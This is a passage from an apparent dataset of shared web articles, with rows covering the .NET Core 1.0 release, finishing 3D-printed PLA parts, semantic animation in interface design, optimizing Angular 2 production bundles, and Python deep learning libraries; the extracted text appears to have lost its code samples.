home page. It will offer you the correct .NET Core SDK for the Operating System (OS) that you are using and the 3-4 steps you need to following to get started. It's pretty straightforward. To give you an idea, once you have the SDK installed, you can type these three simple commands for your first ""Hello World"" app. The first generates a template for you for a console app, the second restores package dependencies and the last builds and runs the app. You'll see (no surprise!): You'll likely get bored of ""Hello World"" quite quickly. You can read more in-depth tutorials at .NET Core Tutorials and ASP.NET Core Tutorials . Check out the Announcing EF Core 1.0 to find out how to get started with Entity Framework Core 1.0. About two years ago, we started receiving requests from some ASP.NET customers for "".NET on Linux"". Around the same time, we were talking to the Windows Server Team about Windows Nano, their future, much smaller server product. As a result, we started a new .NET project, which we codenamed ""Project K"", to target these new platforms. We changed the name, shape and experience of the product a few times along the way, at every turn trying to make it better and applicable to more scenarios and a broader base of developers. It's great to see this project finally available as .NET Core and ASP.NET Core 1.0. Open source is another important theme of this project. Over time, we noticed that all of the major web platforms were open source. ASP.NET MVC has been open source for a long time, but the platform underneath it, the .NET Framework, was not. We didn't have an answer for web developers who cared deeply about open source, and MVC being open wasn't enough. With today's releases, ASP.NET Core is now an open source web platform, top to bottom. Even the documentation is open source. ASP.NET Core is a great candidate for anyone who has open source as a requirement for their web stack. We'd like to express our gratitude for everyone that has tried .NET Core and ASP.NET Core and has given us feedback. We know that tens of thousands of you have been using the pre-1.0 product. Thanks! We've received a lot of feedback about design choices, user experience, performance, communication and other topics. We've tried our best to apply all of that feedback. The release is much better for it. We couldn't have done it without you. Thanks! If you are not a .NET developer or haven't used .NET in a while, now is a great moment to try it. You can enjoy the productivity and power of .NET with no constraints, on any OS, with any tool and for any application. All of that fully open source, developed with the community and with Microsoft's support. Check out dot.net to see the breadth of .NET options. This is a huge milestone and accomplishment for the entire .NET ecosystem. Nearly 10k developers contributed to .NET Core 1.0. We never imagined that many folks contributing to the product. We've also been impressed by the quality of the contributions. There are significant components that the community is driving forward. Nice work, folks! We also found that another 8k developers are watching these same repos, which effectively doubles the count. We believe that these developers watch these repos to either find that first opportunity to contribute or want to stay up-to-date on the project as part of their approach to .NET Core adoption. At this point, nearly half of all pull requests for .NET Core related projects (e.g. corefx, coreclr) come from the community. That's up from 20% one year ago. The momentum has been incredible. Check out the set of developers who contributed pull requests that were merged to the product. Thanks! Here's the breakdown of developers that created pull requests, created issues or made comments in any one of the .NET Core related repos, per organization, as determined by using the GitHub API: Total unique users: 9723 Note: The counts don't sum to the total because some users contribute to multiple organizations (thanks!) and we've tried to avoid double-counting. Note: The counts from the Microsoft org are specific to the few .NET Core-related repos that exist there, such as visualfsharp. Note: These numbers include Microsoft employees, which are (at most) 10% of the count. Samsung joins the .NET Foundation Increased interest in .NET Core has also driven deeper engagement in the .NET Foundation , which now manages more than 60 projects. Today we are announcing Samsung as the newest member . In April, Red Hat, Jet Brains and Unity were welcomed to the .NET Foundation Technical Steering Group. "".NET is a great technology that dramatically boosts developer productivity. Samsung has been contributing to .NET Core on GitHub - especially in the area of ARM support - and we are looking forward to contributing further to the .NET open source community. Samsung is glad to join the .NET Foundation's Technical Steering Group and help more developers enjoy the benefits of .NET."" Hong-Seok Kim, Vice President, Samsung Electronics. The contributions from Samsung have been impressive. They have a great team of developers that have taken an interest in .NET Core. We're glad to have them as part of the larger team. Some customers couldn't wait until the final 1.0 release and have been using preview versions of .NET Core in production, on Windows and Linux. These customers tell us that .NET Core has had a significant impact for their businesses. We look forward to seeing many of the applications that will get built over the next year. Please keep the feedback coming so that we can decide what to add next. Illyriad Games, the team behind Age of Ascent, reported a 10-fold increase in performance using ASP.NET Core with Azure Service Fabric. We are also extremely greatful for their code contributions to this performance. Thanks @benaadams ! NetEase, a leading IT company in China, provides online services for content, gaming, social media, communications and commerce, needed to stay on the leading edge of the ever-evolving mobile games space and chose .NET Core for their back end services. When compared to their previous Java back-end architecture: "".NET Core has reduced our release cycle by 20% and cost on engineering resources by 30%."" When speaking about the throughput improvements and cost savings: ""Additionally, it has made it possible to reduce the number of VMs needed in production by half."" We used industry benchmarks for web platforms on Linux as part of the release, including the TechEmpower Benchmarks . We've been sharing our findings as demonstrated in our own labs, starting several months ago. We're hoping to see official numbers from TechEmpower soon after our release. Our lab runs show that ASP.NET Core is faster than some of our industry peers. We see throughput that is 8x better than Node.js and almost 3x better than Go, on the same hardware. We're also not done! These improvements are from the changes that we were able to get into the 1.0 product. .NET developers know that the platform is a great choice for productivity. We want them to know that it's also a great choice for performance. We've been talking about .NET Core for about two years now, although it has changed significantly over that time. It's good to recap in this post what defines and is included in .NET Core 1.0. .NET Core is a new cross-platform .NET product. The primary selling points of .NET Core are: Cross-platform: Runs on Windows, macOS and Linux. Flexible deployment: Can be included in your app or installed side-by-side user- or machine-wide. Command-line tools: All product scenarios can be exercised at the command-line. Compatible: .NET Core is compatible with .NET Framework, Xamarin and Mono, via the .NET Standard Library . Open source: The .NET Core platform is open source, using MIT and Apache 2 licenses. Documentation is licensed under CC-BY . .NET Core is a .NET Foundation project. Supported by Microsoft: .NET Core is supported by Microsoft, per .NET Core Support Composition .NET Core is composed of the following parts: A .NET runtime , which provides a type system, assembly loading, a garbage collector, native interop and other basic services. A set of framework libraries , which provide primitive data types, app composition types and fundamental utilities. A set of SDK tools and language compilers that enable the base developer experience, available in the .NET Core SDK . The 'dotnet' app host , which is used to launch .NET Core apps. It selects the runtime and hosts the runtime, provides an assembly loading policy and launches the app. The same host is also used to launch SDK tools in the same way. Workloads By itself, .NET Core includes a single application model - console apps - which is useful for tools, local services and text-based games. Additional application models have been built on top of .NET Core to extend its functionality, such as: .NET Core Tools You typically start .NET Core development by installing the .NET Core SDK. The SDK includes enough software to build an app. The SDK gives you both the .NET Core Tools and a copy of .NET Core. As new versions of .NET Core are made available, you can download and install them without needing to get a new version of the tools. Apps specify their dependence on a particular .NET Core version via the project.json project file. The tools help you acquire and use that .NET Core version. You can switch between multiple apps on your machine in Visual Studio, Visual Studio Code or at a command prompt and the .NET Core tools will always pick the right version of .NET Core to use within the context of each app. You can also have multiple versions of the .NET Core tools on your machine, too, which can be important for continuous integration and other scenarios. Most of the time, you will just have one copy of the tools, since doing so provides a simpler experience. The dotnet Tool Your .NET Core experience will start with the dotnet tool . It exposes a set of commands for common operations, including restoring packages, building your project and unit testing. It also includes a command to create an empty new project to make it easy to get started. The following is a partial list of the commands. dotnet new - Initializes a sample console C# project. dotnet restore - Restores the dependencies for a given application. dotnet build - Builds a .NET Core application. dotnet publish - Publishes a .NET portable or self-contained application. dotnet run - Runs the application from source. dotnet test - Runs tests using a test runner specified in the project.json. dotnet pack - Creates a NuGet package of your code. dotnet works great with C# projects. F# and VB support is coming. .NET Standard Library The .NET Standard Library is a formal specification of .NET APIs that are intended to be available on all .NET runtimes. The motivation behind the Standard Library is establishing greater uniformity in the .NET ecosystem. ECMA 335 continues to establish uniformity for .NET runtime behavior, but there is no similar spec for the .NET Base Class Libraries (BCL) for .NET library implementations. The .NET Standard Library enables the following key scenarios: Defines uniform set of BCL APIs for all .NET platforms to implement, independent of workload. Enables developers to produce portable libraries that are usable across .NET runtimes, using this same set of APIs. Reduces and hopefully eliminates conditional compilation of shared source due to .NET APIs, only for OS APIs. .NET Core 1.0 implements the standard library, as does the .NET Framework and Xamarin. We see the standard library as a major focus of innovation and that benefits multiple .NET products. Support .NET Core is supported by Microsoft . You can use .NET Core in a development and deploy it in production and request support from Microsoft, as needed. Each release also has a defined lifecycle, where Microsoft will provides fixes, updates, or online technical assistance. The team adopted a new servicing model for .NET Core, with two different release types: Long Term Support (LTS) releases Typically a major release, such as ""1.0"" or ""2.0"" Supported for three years after the general availability date of a LTS release And one year after the general availability of a subsequent LTS release Fast Track Support (FTS) releases Typically a minor release, such as ""1.1"" or ""1.2"" Supported within the same three-year window as the parent LTS release And three months after the general availability of a subsequent FTS release And one year after the general availability of a subsequent LTS release Some customers want to deploy apps on very stable releases and do not want new features until the app is developed again. Those customers should consider LTS releases. Other customers want to take advantage of new features as soon as possible, particularly for apps that are almost always in development. Those customers should consider FTS releases. Note: We haven't released an FTS verion yet. .NET Core 1.0 is an LTS version. .NET Core Tools Telemetry The .NET Core tools include a telemetry feature so that we can collect usage information about the .NET Core Tools. It's important that we understand how the tools are being used so that we can improve them. Part of the reason the tools are in Preview is that we don't have enough information on the way that they will be used. The telemetry is only in the tools and does not affect your app. Behavior The telemetry feature is on by default. The data collected is anonymous in nature and will be published in an aggregated form for use by both Microsoft and community engineers under a Creative Commons license. You can opt-out of the telemetry feature by setting an environment variable DOTNET_CLI_TELEMETRY_OPTOUT (e.g. export on OS X/Linux, set on Windows) to true (e.g. ""true"", 1). Doing this will stop the collection process from running. Data Points The feature collects the following pieces of data: The command being used (e.g. ""build"", ""restore"") The ExitCode of the command For test projects, the test runner being used The timestamp of invocation The framework used Whether runtime IDs are present in the ""runtimes"" node The CLI version being used The feature will not collect any personal data, such as usernames or emails. It will not scan your code and not extract any project-level data that can be considered sensitive, such as name, repo or author (if you set those in your project.json). We want to know how the tools are used, not what you are using the tools to build. If you find sensitive data being collected, that's a bug. Please file an issue and it will be fixed. We use the MICROSOFT .NET LIBRARY EULA for the .NET Core Tools, which we also use for all .NET NuGet packages. We recently added a ""DATA"" section re-printed below, to enable telemetry from the tools. We want to stay with one EULA for .NET Core and only intend to collect data from the tools, not the runtime or libraries. You can build .NET Core apps with Visual Studio, Visual Studio Code or at the command-line. Visual Studio Code is the newest experience for building .NET apps. Let's take a look at building .NET Core apps with it. Using Visual Studio Code Show the experience using Visual Studio Code. To get started with .NET Core on Visual Studio Code, make sure you have downloaded and installed: You can verify that you have the latest version of .NET Core installed by opening a command prompt and typing dotnet --version . Your output should look like this: Next, you can create a new folder, scaffold a new ""Hello World"" C# application inside of it with the command line via the dotnet new command, then open Visual Studio Code in that directory with the code . command. If you don't have code on your PATH, you'll have to set it. If you don't have C# language plugin for Visual Studio Code it installed already, you'll want to do that. Next, you'll need to create and configure the launch.json and tasks.json files. Visual Studio Code will have asked if it can create these files for you. If you didn't allow it to do that, you will have to create these files yourself. Here's how: Create a new folder at the root level called .vscode and create the launch.json and tasks.json files inside of it. Open launch.json and configure it like this: Open the tasks.json file and configure it like this: Navigate to the Debug menu, click the Play icon, and now you can run your .NET Core applications! Note that if you open Visual Studio code from a different directory, you may need to change the values of cwd and program in launch.json and tasks.json to point to your application output folders. You can also debug your application by setting a breakpoint in the code and clicking the Play icon. The major differences between .NET Core and the .NET Framework: App-models - .NET Core does not support all the .NET Framework app-models, in part because many of them are built on Windows technologies, such as WPF (built on top of DirectX). The console and ASP.NET Core app-models are supported by both .NET Core and .NET Framework. APIs - .NET Core contains many of the same, but fewer, APIs as the .NET Framework, and with a different factoring (assembly names are different; type shape differs in key cases). These differences currently typically require changes to port source to .NET Core. .NET Core implements the .NET Standard Library API, which will grow to include more of the .NET Framework BCL APIs over time. Subsystems - .NET Core implements a subset of the subsystems in the .NET Framework, with the goal of a simpler implementation and programming model. For example, Code Access Security (CAS) is not supported, while reflection is supported. Platforms - The .NET Framework supports Windows and Windows Server while .NET Core also supports macOS and Linux. Open Source - .NET Core is open source, while a read-only subset of the .NET Framework is open source. While .NET Core is unique and has significant differences to the .NET Framework and other .NET platforms, it is straightforward to share code, using either source or binary sharing techniques. Thanks for all the feedback and usage. It's been a pleasure to build .NET Core and see so many people try it out. We really appreciate it. Please continue exploring the product and learning what it's capable of. We'll update the .NET Core Roadmap as we have clear plans for upcoming versions. Thanks for being part of the .NET community!",en
1467046829,CONTENT SHARED,-3864069617285644895,801895594717772308,724950540274130477,,,,HTML,http://www.instructables.com/id/How-to-Finish-3D-Printed-PLA-Objects/,How to finish 3D printed PLA objects,"Here are a some methods I use to put together 3D printed PLA parts and a couple of ways to finish 3D printed parts. The best way to put 3D printed parts together , if you have a 3D printer that has a small build platform, is to break the STL file into smaller parts using a software like netfabb and then use a 3D printing pen to put the individual 3D printed part together. The 3D printing pen I use is from 3D Simo which you can use with various types of filament .Using a 3D printing pen in combination with a rotary tool like the Dremel and plain old Sand paper is a much superior way, then just using glue. Obviously you need have a good amount of patience ! as this time taking process.. As part of the finishing process , depending on how you want your 3D printed object to look and feel you can use one of the methods shown in the videos below Use Z Poxy in a scenario, when you want your part to look glossy and have shinny metallic finish to it. And retain the color of the filament you 3D printed your part in. This is idea if you want to finish a small figurine you printed. #2 Painters Touch This is much faster and cheaper way to finishing larger 3D printed parts, and yes ! you will need to apply multiple coats to get a nice even finish. In addition, painters touch comes in number of colors , which mean you can print your parts in white PLA and then spray paint them in your favorite color. As part of the finishing process, I have mentioned some tips based on my experience. And please leave a comment/suggestion below if you use one of these methods and I will add it to the list.. You can also use these methods on ABS , but the best way to finish ABS parts is to use the Acetone vapor technique ..",en
1467056376,CONTENT SHARED,4891164246772479976,3375381077362025672,-6551233775752851730,,,,HTML,http://alistapart.com/article/motion-with-meaning-semantic-animation-in-interface-design,Motion with Meaning: Semantic Animation in Interface Design,"Issue № 440 Illustration by Dana Pavlichko by Published in Amin Al Hazwani , Interaction Design Tobias Bernard Animation is fast becoming an essential part of interface design, and it's easy to see why. It gives us a whole new dimension to play with -time. This creates opportunities to make our interfaces better at every level: it can make them easier to understand , more pleasant to use, and nicer to look at. For example, animation can help offload some of the work (PDF) of processing interface changes from our brains to the screen. It can also be used to explain the meaning and relationships of interface elements, and even teach users how to do things-all without making an interface more complex. Sometimes all of these factors converge: when you minimize a window, would you be able to tell where it goes without the animation? How much longer would it take you to find the minimized window in the dock? Hard cuts make it difficult to understand state changes, because changing the entire page means you have to rescan the entire thing to see what changed . So far, so uncontroversial, right? Animation is a good thing - when done well, at least . But there's one aspect of animation that nobody ever seems to talk about. Some animation, while technically well executed, makes interfaces more confusing instead of less. Consider the following process: When we tap the Overcast app icon on the homescreen, the icon zooms and morphs into the app. The other icons stay in place. They're still in their initial positions, laid out in a grid around the open app. We start multitasking. The app zooms out. We should get back to the icons around the app on the homescreen, but instead we see a stack of other apps. Why is the icon above the app now? Where are all the other icons? And why does another homescreen appear next to the apps? The app is both inside its icon on the homescreen and next to the homescreen. The two animations give us conflicting information about where the homescreen and the apps are located in space. The two zooming animations have completely different effects in this case. These animations might make sense if you designed the individual screens in a vacuum. It's only when they all try to play together as parts of a single experience that things get confusing. The problem isn't with any of the individual transitions, but with the fact that the animations contradict each other. History How did we get here? Let's take a step back and quickly review the history leading up to this point. Since their inception in the 1970s, graphical user interfaces were basically a series of static screens (PDF) linked together without any transitions. Every state change was a hard cut. Although there are some notable early examples of good interface animation that date all the way back to the original Macintosh (PDF) , because of the limited graphical capabilities of computers back then, effective animation was the exception rather than the rule. Example of a remarkably fluid animation in an early version of Mac OS. As computers got increasingly powerful, animation started to be used more frequently for things like maximizing windows or opening new tabs. It was still mostly pressed into service for small things, though, and rarely influenced the overall structure of interfaces. Only now are we starting to get to a point where computing resources aren't holding interfaces back anymore. With today's devices , everything can be animated-and increasingly everything is. The problem is that the design process hasn't caught up to this change in technology. For the most part, interfaces are still conceived as separate, static screens and then linked together with relatively crude animations . This is probably how our multitasking example came to be; different parts of the experience were designed separately and then linked together without considering either the relationships between them or the consequences of arranging them this way. The problem is that if animation (and therefore the spatial structure of an interface) is an afterthought, it's all too easy to create contradictory behaviors. Now that we've figured out how we got here, let's think about how we can avoid such pitfalls. A simple shift Adding animation to interfaces fundamentally changes them, and necessitates a new way of thinking. We call this new approach semantic animation . It all starts with a simple conceptual shift: You can't treat individual screens as separate entities if the transitions between them are animated. To the user, the entire experience is one continuous space. Similarly, two representations of the same element on different screens can't be seen as separate from each other. To the user, there is only one element-it simply changes form. This means that when you add animations, an interface isn't a series of screens anymore, but a collection of semantic components inside a single, continuous space . These self-contained components enclose everything associated with them, like meta information or interactive controls. Example of how a post on Dribbble could work as a semantic component. The post always remains one cohesive element; it simply changes its representation over time. This may sound complicated, but in practice it's actually quite simple: instead of designing screens and then adding transitions between them, start by designing individual components and thinking about how they change and move in different contexts. With that in place, layout and animations will come together naturally, following the semantic structure of the content. Explain relationships between elements Animations are most useful when they reflect and reinforce the semantic relationships between elements: for example, ""this comment belongs to this article,"" or ""these menu items are part of this menu."" Think of every element of your interface as a single, self-sufficient component with a specific meaning, state, and position in space. Then make sure your animations reflect this. If a popover belongs to a button, it shouldn't just fade in; it should emerge from that button. When opening an email, the full message should not just slide in from the side, but come from within the preview. You get the idea, right? Once you're used to this way of thinking, it almost becomes second nature. The dialogs on Meteor Toys are a great example of semantic components. The following examples show two completely different approaches to the same problem: one is screen-based; the other takes semantic animation into account. When opening Launchpad on OS X, the app icons just fade in and the background is blurred. This doesn't tell the user anything about where the icons come from and what their relationship is with other parts of the interface. The app drawer in GNOME (a desktop environment for GNU/Linux), on the other hand, uses an animation that elegantly explains where the icons come from and where they are when they're not visible. GNOME application launcher. Multiple representations A common problem to look out for is different representations of a single element that are visible at the same time. This is bad, because it doesn't make sense from the user's point of view to see the same thing in more than one place simultaneously. In the following example from Google's Material Design Guidelines , when you tap on an image in a list view, a bigger version of the image is shown. The bigger version slides in from the right on a separate layer. This is a textbook case of multiple representations: there's no connection between the two images. Why is the image both in the list view and on that other screen? Are all of the big versions of the images stacked to the right? Google recently changed this example in their guidelines. Here's the updated version: The new example is better because there are no multiple representations, but the animation fails to account for the interface elements on top, which change with no animation at all. Now, here's an instance of something that checks all the boxes: Facebook Paper's timeline makes the relationship between thumbnail and detail view completely obvious. No multiple representations, no semantic loose ends. The transition is so smooth that you barely notice the state change. See how the interface elements on the bottom of the detail view come from within the image? The image is a self-sufficient component, containing all of the information and actions associated with it. Another example of how to do this well is Apple's Passbook app. It may seem unremarkable at first, but imagine if it behaved like the first Material example, with the full cards sliding in from the right when you tap a list item. That would be ridiculous, wouldn't it? The transition between list and detail view is so fluid that you don't really think of it as a transition; the elements just naturally move in space. This is semantic animation at its best. Keep space consistent Animations create expectations about where the animated elements are in space. For example, if a sidebar slides out to the left, you intuitively know that it's somewhere left of the visible elements. Thus, when it comes back into view, you expect it to come in from the left, where you last saw it. How would you feel if it came back in from the right? Lest they break the space established by earlier animations, animations should not communicate contradicting information. Our earlier iOS multitasking example shows exactly why this is problematic: two different transitions tell the user conflicting things, completely breaking their mental model of the interface. Interestingly, OS X does something similar, but handles it in a spatially consistent way. When you full-screen a window, it scales to fill the entire screen, similar to iOS. However, it also moves horizontally to a new workspace. The window isn't inside the first workspace anymore; spatial consistency is thus preserved. Remember: violating spatial consistency is the user interface equivalent of an M.C. Escher painting . So unless your app is Monument Valley , please make sure to keep your space simple and non-contradictory. Practical considerations Right now you may be thinking, ""But wait-there's no way to apply this to everything !"" And yeah, you're probably right. If you did manage to do that, you'd end up with something like a single, zoomable surface containing every possible state of the system. And although that's an interesting idea , ""pure"" zoomable user interfaces tend to be problematic in practice, because they're hard to navigate if they go beyond a certain level of complexity (PDF) . When designing real products, semantic animation needs to be balanced with other considerations like user experience and performance. Most of your interfaces are probably never going to be 100 percent correct from a semantic-animation perspective, but that's okay. Semantic animation is a way of thinking. Once you've adopted it, you'll be surprised how many things it applies to, and how much low-hanging fruit is out there. It forces you to think about hierarchy and semantics, which helps you find simpler solutions that make more sense to the people who use your products. Note that we, the authors, are far from having figured all of this out yet. Our article doesn't touch on many important questions (which we're still exploring) related to the consequences of animating interfaces. Nevertheless, we're convinced that semantic animation is a promising idea with real potential for making digital interfaces more intuitive and comprehensible. Ready to learn more about creating accessible animations? Val Head shares new resources to help you get started. Designing for non-native English speakers might be easier than you think. Here are three areas to focus on as you get started. Design your career like you'd design a website. Listen in on this recording of our fearless leader Jeffrey Zeldman and his co-host Sarah Parmenter answering audience questions about their web careers. Get our latest articles in your inbox. Sign up for email alerts .",en
1467058251,CONTENT SHARED,4404314996867098682,-6153009241569363021,1432194012475815612,,,,HTML,http://blog.mgechev.com/2016/06/26/tree-shaking-angular2-production-build-rollup-javascript/,Building an Angular 2 Application for Production,"Progressive Web Applications help us build native-like web apps, thanks to amazing tools such as Service Workers, IndexDB, App Shell etc. Once the browser downloads all the static assets required by our app, the active Service Worker can cache all of them locally. This way the user may experience slowdown during the initial page load, but once the page has been successfully loaded for first time, each next time the load will be instant! In order to help developers take advantage of the technologies behind the PWA as easy as possible, the Angular team is working on the Angular mobile-toolkit . However, a big concern for developing high-performance Angular 2 is the framework size itself. For instance, a simple non-optimized ""Hello world!"" Angular 2 application, bundled with browserify is 1.6MB! This is suicidal when your users are supposed to download it via an unreliable 3G connection. This is main reason Angular is (was) criticized for. During the keynote of ng-conf , Brad Green (manager of the Angular team) mentioned that the core team managed to drop the size of the ""Hello world!"" app to less than 50K ! In this blog post we'll explain all the steps we need to go through in order to achieve such results! The experiments from this blog posts are located here: - Simple build with minification . - Tree-shaking and minification . - ngc, tree-shaking and minification . Sample Application In order to get a better understanding of the optimizations explained below, lets first describe the sample application that we're going to apply them on. Our app is going to consist the following two files: ..and Our index.html page looks like: And here's the directory layout: dist is where the output is going to live (i.e. application bundles), we're using typings and npm in order to manage, respectively, the ambient TypeScript type definitions and the dependencies of our application. Step 1 - Minification and Compression The two most obvious optimizations that we can apply are minification and compression. You can find the example explained in this section in my GitHub profile . I'd recommend you to clone the repository and run: Now we can explore the build process by taking a look at package.json : By using SystemJS we can already run them in the browser, but since we want to reduce the number of HTTP requests made by the browser in the process of loading the app, we can create a single bundle. This is what we do in build_prod : In the script above, first we use the TypeScript compiler. Once the app has been compiled, all we need to do is to create a ""standalone"" bundle with entry point the dist/main.js file, and output the bundles content to bundle.js within the dist directory. In order to try the app you can use: Size Analysis Now lets see what the bundle size is: Wow...so we reached the disastrous point we described above! However, the bundle contains a bunch of useless content such as: Unused functions, variables... A lot of whitespace. Comments. Non-mangled variables. In order to reduce the size of the bundle we can now use the minify script: It takes the bundle.js file, and optimizes it. The output is now produced in dist/bundle.min.js , and its size is: So, we reduced the size of the bundle to 702K only by applying a simple minification! Compression of the Application Most HTTP servers support compression of the content, with gzip. The requested by the browser resources are compressed by the web server and sent through the network. Responsibility of the client is to decompress them. Lets find out what the size of the compressed bundle is: We reduced the size of the bundle with another ~78% only by applying compression! But we can do even better! Step 2 - Tree-Shaking In this section we'll use very important property of the ES2015 modules - they are tree-shakable! What does tree-shaking means: Tree-shaking is excluding unused exports from bundles. Because the ES2015 modules are static, by performing a static code analysis over them we can decide which exports are used and which are not used in our application. In contrast, CommonJS modules are not always tree-shakable because of the dynamic nature of their format. For instance: It is impossible to guess which algorithm will be chosen by the user by performing a static code analysis. With ES2015 we can do something like: In this way, we will be able to perform tree-shaking and remove the ./graphs module from the final bundle because since we're not using Graphs anywhere. On the other hand, we need to import all sorting algorithms because we have a level of non-determinism - we're not sure what the input of the user is going to be so we can't get rid of anything from Algorithms . Applying Tree-Shaking with Rollup Rollup.js is a module bundler which is optimized for ES2015 modules. It is a great, pluggable tool which allows us to perform tree-shaking over ES2015 and CommonJS (in most cases) by using a plugin. We're going to integrate Rollup in the example above, trying to achieve even smaller bundle size! The example from this section is available here . Now, lets take a look at the scripts section in our package.json in order to explore the build process: We have the same clean , typings , serve , postinstall , minify and build scripts like above. The new things here are rollup , es5 , build_prod . rollup is responsible for bundling our app and perform tree-shaking in the process. TypeScript supports ES2015 modules, which means that we can apply tree-shaking directly over our non-transpiled app. This is further simplified by the TypeScript plugin for Rollup which allows us to perform the transpilation as the part of the bundling. This would work great if the dependencies of our application were distributed as TypeScript as well. However, Angular 2 is distributed as ES5 and ES2015 (within the esm directory), and RxJS is distributed as ES5 and ES2015 (in the rxjs-es package). Since we can't apply tree-shaking directly over the original TypeScript files of our app, we'll first need to transpile it to TypeScript, after that create an ES2015 bundle by using rollup, and in the end transpile it to ES5. Because of these changes in the flow of the build process, there's a very important difference between the tsconfig.json presented in the example above, and the one used in this section: Our target version here is es2015 in order to transpile the TypeScript application to an ES2015 one, with ES2015 modules. Now we can explore the rollup script: Above we tell rollup to bundle the modules as IIFE (Immediately-Invoked Function Expression), use the configuration file provided in the root of the project ( rollup.config.js ) and output the bundle as bundle.es2015.js in dist . Now lets take a look at the rollup.config.js file: Great thing about this configuration file is that it is pure JavaScript! We export the configuration object, and declare inside of it the entry point of the application, the module name (required if we use IIFE bundling), we also declare that we want to have sourceMap s, and the set of plugins that we want to use. We use the nodeResovle plugin for rollup in order to hint the bundler that we want to use node-like module resolution. Once the bundler finds import like @angular/core , for instance, it'll go to node_modules/@angular/core and read the package.json file there. Once it finds property called main:jsnext , the bundler will use the file set as its value. If such property is not found, the bundler will use the file pointed by main . A problem comes that RxJS is distributed as ES5 by default. In order to deal with this problem, for bundling the required RxJS operations we'll use the package rxjs-es , which is already available in package.json . After installing this module, we need to make sure that the module bundler will use rxjs-es instead of rxjs from node_modules . This is exactly what the purpose of the rollupNG2 plugin is - to translate all the rxjs/* imports to rxjs-es/* ones. Alright, now if we run: We'll get the bundle bundle.es2015.js . Now lets transpile this bundle to ES5. This can be easily achieved by using the es5 script: We use the TypeScript compiler and output the ES5 bundle to dist/bundle.js (note that this script may throw an error for Duplicate identifier _subscribe , which is not problematic at this point). In order to get our final optimized, bundle we need to invoke npm run minify . To verify that the application still works use: Size Analysis Lets find out what the size of our ES5 bundle is: Great! This is 200K smaller than the previous section! Now lets see what the bundle size will be after minification: 702K to 484K...not bad at all! After gzipping we get: Credits: Igor Minar published similar experiments in the official Angular 2 repository. They can be found here . About 25% reduction of the bundle size! But I'm sure we can do even better! Using ngc As static code analysis enthusast , I'm following the progress around the Angular compiler ( ngc ). The core idea of ngc is to process the templates of the components in our applications and generate VM friendly , tree-shakable code. This can happen either run-time or build-time, but since in run-time compilation the application is already loaded in the browser we can't take advantage of tree-shaking. The project is located here . Although in the previous example we already applied decent tree-shaking we still can do better! Why? Well, having an HTML template rollup is not completely sure what parts of Angular we can get rid of from the final bundle since HTML is not something that rollup can analyze at all. That's why we can: Compile our application (including templates) to TypeScript with ngc. Perform tree-shaking with rollup (this way we will get at least as small bundle as above). Transpile the bundle to ES5. Minify the bundle. Gzip it! Alright, lets begin! The code explained in the paragraphs below can be found here . Lets take a look at the scripts in package.json : build_prod just confirms the order into which the individual actions need to be performed. Lets take a look at the clean method, since it looks quite complex this time: What we do here is to remove the dist directory, all files which match app/*.ngfactory.ts and also everything except main-ngc.ts from the compiled directory. ngc produces *.ngfactory.ts files. Since they are artifacts from the build process we'd want to remove them before the next build. But why we remove everything except main-ngc.ts from the compiled directory? Lets take a look at the file's content: We are using compiled/main-ngc.ts as entry file. Also notice that we have two tsconfig files: one for ngc and one for tsc. Alright...now lets run npm run ngc . Once the scripts completes its execution, here's the directory structure of the app: Notice that the postinstall script is quite complex as well. This is due to this bug introduced in @angular/compiler-cli by RC.3 Now we can transpile the application to ES2015: At this point we already have the ES2015 version of our app located in dist . The only steps left are: Tree-shaking. Transpilation from ES2015 to ES5. Minification. Gzipping. This is process we're already familiar with so lets invoke the individual scripts one by one without providing further explanation: In order to make sure that everything works you can use: Size Analysis Lets see how big is our precompiled, tree-shaked app! The application got more that twice smaller that it was without ngc! If we gzip it, we'll get the following results: Credits: Rob Wormald who did experiments with ngc here . The final result is 49K! Conclusion As we can see from the chart above, by applying a set of optimizations over our production bundle we can reduce the size of our application up to 33 times! This is thanks to a couple of techniques: Optimization by performing static-code analysis, more specifically tree-shaking. Minification (including mangling). Compression with gzip. Definitely there's some overhead at first, before being able to get all the things going on in this process. Luckily, in the end, all this is going to happen automatically with tools like angular-cli , and angular2-seed . As a matter of fact, we are already planning to add automated production build, which performs all the listed steps above in angular2-seed . This is definitely going to happen in near future, once we make sure that all tools explained above are mature enough. By then, we can easily reduce the bundle size to ~150K only by applying minification and compression!",en
1467061633,CONTENT SHARED,784265334245910688,-1443636648652872475,-1601245499307033365,,,,HTML,http://www.pyimagesearch.com/2016/06/27/my-top-9-favorite-python-deep-learning-libraries/,My Top 9 Favorite Python Deep Learning Libraries - PyImageSearch,"So you're interested in deep learning and Convolutional Neural Networks. But where do you start? Which library do you use? There are just so many! Inside this blog post, I detail 9 of my favorite Python deep learning libraries. This list is by no means exhaustive , it's simply a list of libraries that I've used in my computer vision career and found particular useful at one time or another. Some of these libraries I use more than others - specifically, Keras , mxnet , and sklearn-theano . Others, I use indirectly , such as Theano and TensorFlow (which libraries like Keras , deepy , and Blocks build upon). And even others, I use only for very specific tasks (such as nolearn and their Deep Belief Network implementation). The goal of this blog post is to introduce you to these libraries. I encourage you to read up on each them individually to determine which one will work best for you in your particular situation. My Top 9 Favorite Python Deep Learning Libraries Again, I want to reiterate that this list is by no means exhaustive . Furthermore, since I am a computer vision researcher and actively work in the field, many of these libraries have a strong focus on Convolutional Neural Networks (CNNs). I've organized this list of deep learning libraries into three parts. The first part details popular libraries that you may already be familiar with. For each of these libraries, I provide a very general, high-level overview. I then detail some of my likes and dislikes about each library, along with a few appropriate use cases. The second part dives into my personal favorite deep learning libraries that I use heavily on a regular basis (HINT: Keras, mxnet, and sklearn-theano). Finally, I provide a ""bonus"" section for libraries that I have (1) not used in a long time, but still think you may find useful or (2) libraries that I haven't tried yet, but look interesting. Let's go ahead and dive in! For starters: It's pretty much impossible to mention ""deep learning libraries"" without bringing up Caffe. In fact, since you're on this page right now reading up on deep learning libraries, I'm willing to bet that you've already heard of Caffe. So, what is Caffe exactly? Caffe is a deep learning framework developed by the Berkeley Vision and Learning Center (BVLC). It's modular. Extremely fast. And it's used by academics and industry in start-of-the-art applications. In fact, if you were to go through the most recent deep learning publications (that also provide source code), you'll more than likely find Caffe models on their associated GitHub repositories. While Caffe itself isn't a Python library, it does provide bindings into the Python programming language. We typically use these bindings when actually deploying our network in the wild. The reason I've included Caffe in this list is because it's used nearly everywhere . You define your model architecture and solver methods in a plaintext, JSON-like file called . prototxt configuration files. The Caffe binaries take these . prototxt files and train your network. After Caffe is done training, you can take your network and classify new images via Caffe binaries, or better yet, through the Python or 